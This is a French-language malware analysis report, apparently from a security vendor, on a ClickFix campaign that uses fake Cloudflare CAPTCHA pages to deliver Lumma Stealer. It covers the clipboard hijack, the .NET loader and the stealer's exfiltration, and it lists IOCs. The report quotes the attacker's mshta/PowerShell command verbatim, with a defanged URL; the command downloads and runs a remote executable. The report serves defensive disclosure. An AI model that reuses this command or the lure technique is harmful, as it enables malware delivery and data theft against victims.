Introduction :
Nous avons récemment identifié une nouvelle campagne de malware utilisant de fausses pages CAPTCHA pour diffuser Lumma Stealer, un infostealer fonctionnant sous le modèle malware-as-a-service (MaaS), découvert pour la première fois en 2022. Lors de campagnes précédentes, y compris celles de mi-2024, les attaquants ont utilisé ClickFix, une tactique trompeuse impliquant le phishing et de fausses pages reCAPTCHA pour cibler les pages de vérification de Google.
Dans cette dernière campagne, les attaquants continuent d'utiliser ClickFix, exploitant le phishing et de fausses pages reCAPTCHA pour inciter les victimes à exécuter des commandes malveillantes copiées dans leur presse-papiers. Cependant, ils se concentrent désormais sur l'usurpation d'identité des pages de vérification Cloudflare. Ce rapport explique les différentes étapes d'une chaîne d'infection ClickFix : les pages ClickFix se faisant passer pour des pages reCAPTCHA Cloudflare, et comment ClickFix exploite MSHTA et PowerShell pour déployer un chargeur .NET.
Chaîne d'infection:
La chaîne d'infection débute par une fausse page CAPTCHA conçue pour inciter la victime à exécuter une commande malveillante. La page web affiche un message trompeur tel que « Je ne suis pas un robot – Vérification Cloudflare », incitant l'utilisateur à copier et exécuter une commande fournie dans la boîte de dialogue Exécuter de Windows. Une fois exécutée, la commande lance mshta.exe, qui lance un script VBS intégré. Ce script VBS crée un objet WScript.Shell pour exécuter une commande PowerShell . PowerShell utilise ensuite Invoke-WebRequest pour télécharger une charge utile malveillante (g.exe) depuis un serveur distant et l'enregistre dans le dossier Téléchargements. Ensuite, v.exe est exécuté à l'aide de Start-Process, déclenchant ainsi la phase suivante de l'attaque. Le fichier v.exe agit comme un chargeur, qui déchiffre et injecte le voleur de données Lumma en mémoire.


Analyse du script JS intégré :
Ce script est conçu pour exécuter une attaque d'ingénierie sociale en incitant les utilisateurs à copier et exécuter des commandes PowerShell malveillantes. L'attaque se fait passer pour un processus de vérification humaine Cloudflare, ce qui lui donne une apparence légitime tout en exécutant silencieusement des activités malveillantes.
Charges utiles malveillantes dans les éléments de la zone de texte :
Le script JS malveillant contient deux éléments de zone de texte intégrés à des commandes PowerShell et MSHTA malveillantes. La première charge utile exécute une commande PowerShell conçue pour télécharger et exécuter un fichier malveillant (kyc.mp4) depuis hxxps[:]//deskbot.net. Cette méthode a été utilisée pour diffuser Lumma Stealer, qui est commenté dans le fichier JavaScript (voir figure 3).
Le deuxième élément de zone de texte utilise mshta.exe pour exécuter un VBScript qui lance une commande PowerShell.
mshta vbscript:Execute(“CreateObject(“”WScript.Shell””).Run(“”powershell -c iwr 'hxxps[:]//kvndbb3[.]com/g[.]exe' -o $HOME\Downloads\v.exe; Start-Process $HOME\Downloads\v.exe””,0)(window.close) ' Je ne suis pas un robot – ID de vérification Cloudflare : 5mUiAHM”)
Il utilise Invoke-WebRequest (iwr) pour télécharger « g.exe » depuis kvndbb3[.]com et l'enregistre sous le nom « v.exe » dans le dossier Téléchargements. Il l'exécute ensuite à l'aide de Start-Process. Cette méthode est utilisée comme technique d'évasion dans les attaques de logiciels malveillants pour contourner les mesures de sécurité en exploitant des éléments tels que mshta.exe et WScript.Shell.



Fausses tactiques de vérification humaine :
L'un des aspects les plus trompeurs de ce script est son utilisation d'un faux mécanisme de vérification humaine. Il imite le processus de vérification de Cloudflare pour faire croire aux utilisateurs qu'ils doivent effectuer une étape supplémentaire. Lorsque l'utilisateur clique sur le bouton de vérification, le script copie automatiquement la commande malveillante cachée dans son presse-papiers. La victime est ensuite incitée à coller et à exécuter cette commande dans son terminal, permettant ainsi le téléchargement et l'exécution du logiciel malveillant.
Pour accroître l'efficacité de l'attaque, le script inclut des traductions en plusieurs langues (anglais, espagnol, chinois, arabe, hindi, etc.). L'attaquant cible ainsi un public mondial, augmentant ainsi ses chances de réussite.
Mécanisme de détournement du presse-papiers :

Le script utilise une fonction copyToClipboard() qui sélectionne la commande PowerShell malveillante dans la zone de texte masquée et la copie dans le presse-papiers lorsque l'utilisateur clique sur le bouton de vérification. Cette technique furtive permet d'exécuter du code malveillant à l'insu de l'utilisateur, comme illustré dans les figures 3 et 5.
Une fois copiée, l'attaquant demande à l'utilisateur de coller et d'exécuter la commande dans un terminal PowerShell. Une fois exécutée, le logiciel malveillant est téléchargé, installé et potentiellement utilisé pour s'installer sur la machine de la victime.
Analyse du chargeur dotnet :

Le chargeur utilise diverses techniques anti-analyse pour gêner les chercheurs et échapper à la détection. Notre analyse a révélé que le chargeur surveille le temps d'exécution afin de détecter les environnements de débogage ou de sandbox. Cette vérification lui permet d'identifier les tentatives d'analyse potentielles, comme illustré dans la figure 8.

Lors de l'analyse du chargeur, nous avons découvert qu'il déchiffre la seconde charge utile à l'aide d'une clé (voir figure 9). Le code déchiffré est ensuite injecté dans la mémoire du processus via des API telles que VirtualProtect, puis WriteProcessMemory et CreateThread sont utilisés pour exécuter la charge utile injectée. Cette technique, couramment employée pour échapper à la détection, garantit l'exécution du code malveillant dans la mémoire illustrée figure 10.


Analyse de la charge utile (Lumma Stealer) :
L'échantillon de charge utile est un échantillon 32 bits avec des données et des chaînes cryptées.

Une boîte de dialogue s'affiche avec le message « Voulez-vous exécuter un logiciel malveillant », servant de vérification finale avant de procéder à l'exécution du logiciel malveillant comme indiqué dans la figure 12.

Capacité de résolution de l'API :
Il a la capacité de résoudre les API à l'aide de la technique de hachage d'API illustrée dans la figure 13 ci-dessous.

Exfiltration de données
Le logiciel malveillant exploite les API GDI de Windows, notamment BitBlt et CreateCompatibleBitmap, pour capturer l'écran entier et stocker le contenu capturé sous forme d'image bitmap.

Il tente également de voler des données sensibles du presse-papiers à l'aide de l'API GetClipboardData. Une fois les données extraites, il établit une connexion de commande et de contrôle (C2C) pour exfiltrer les informations volées.

Connexion C2C :
Le voleur utilise Mozilla/5.0 dans sa chaîne d'agent utilisateur pour se fondre dans le trafic web légitime tout en communiquant avec ses serveurs C2C. Cette tactique lui permet d'échapper à la détection des solutions de sécurité qui surveillent le trafic réseau pour détecter les anomalies.


Le malware s'appuie sur sept domaines codés en dur comme serveurs de commande et de contrôle pour faciliter les mises à jour, recevoir des commandes et exfiltrer les données volées.
Conclusion:
La campagne ClickFix illustre comment les acteurs malveillants continuent d'utiliser des techniques d'ingénierie sociale pour contourner les mesures de sécurité et tromper les utilisateurs. En exploitant de fausses pages CAPTCHA Cloudflare, en détournant le presse-papiers et en abusant d'utilitaires Windows comme MSHTA et PowerShell, les attaquants diffusent et exécutent efficacement Lumma Stealer. Le chargeur .NET utilisé dans cette attaque intègre des techniques anti-analyse pour échapper aux détections. L'utilisation de plusieurs langues dans la campagne met en évidence une approche de ciblage mondiale, ce qui en fait une menace généralisée.
Techniques MITRE ATT&CK :
| Nom | Identification de la technique | Nom |
| Vérification par faux captcha | T1566 | L'hameçonnage |
| Exécution de PowerShell | T1204
T1059.001 |
Exécution utilisateur Interpréteur de commandes et de scripts : PowerShell |
| Exécution de Mshta
|
T1218.005
T1027.009 |
Exécution du proxy binaire du système : Mshta Fichiers ou informations obscurcis : charges utiles intégrées |
| Capture d'écran | T1113 | Capture d'écran |
| Exécution de la charge utile chiffrée à l'aide de powershell.exe
|
T1059.001
T1027.013 |
Interpréteur de commandes et de scripts : PowerShell Fichiers ou informations obscurcis : fichier crypté/codé |
| Capture d'entrée | T1056 | Keylogging |
| Évasion défensive | T1055.012 | Injection de processus : creusement de processus
|
| Injection de contenu | T1659 | Injection de code malveillant dans les systèmes |
| Commander et contrôler | T1071.001 | Protocole de couche d'application : protocoles Web
|
Protection:
Cheval de Troie.Ghanarava.1739530256ee4fbc
Cheval de Troie.Ghanarava.1739337049382d41
Cheval de Troie.LummaStealerCiR
CIO:
| MD5 | Nom de fichier |
| 9A926390B4E4EF1EEC4E9E6C80382D41 | v.exe |
| 049F8BF92786B0AFF493BC8533EE4FBC | Charge utile Lumma |
| C2C | |
| ignoredhee.com | |
| breedertremnd.com | |
| garulouscuto.com | |
| torpdidebar.com | |
| hopeefreamed.com | |
| actiothreaz.com | |
| importenptoc.com | |
| rebeldettern.com | |
| torpdidebar.com | |
| voicesharped.com
|
|
Auteurs:
Soumen Birmanie
Vaibhav Billade



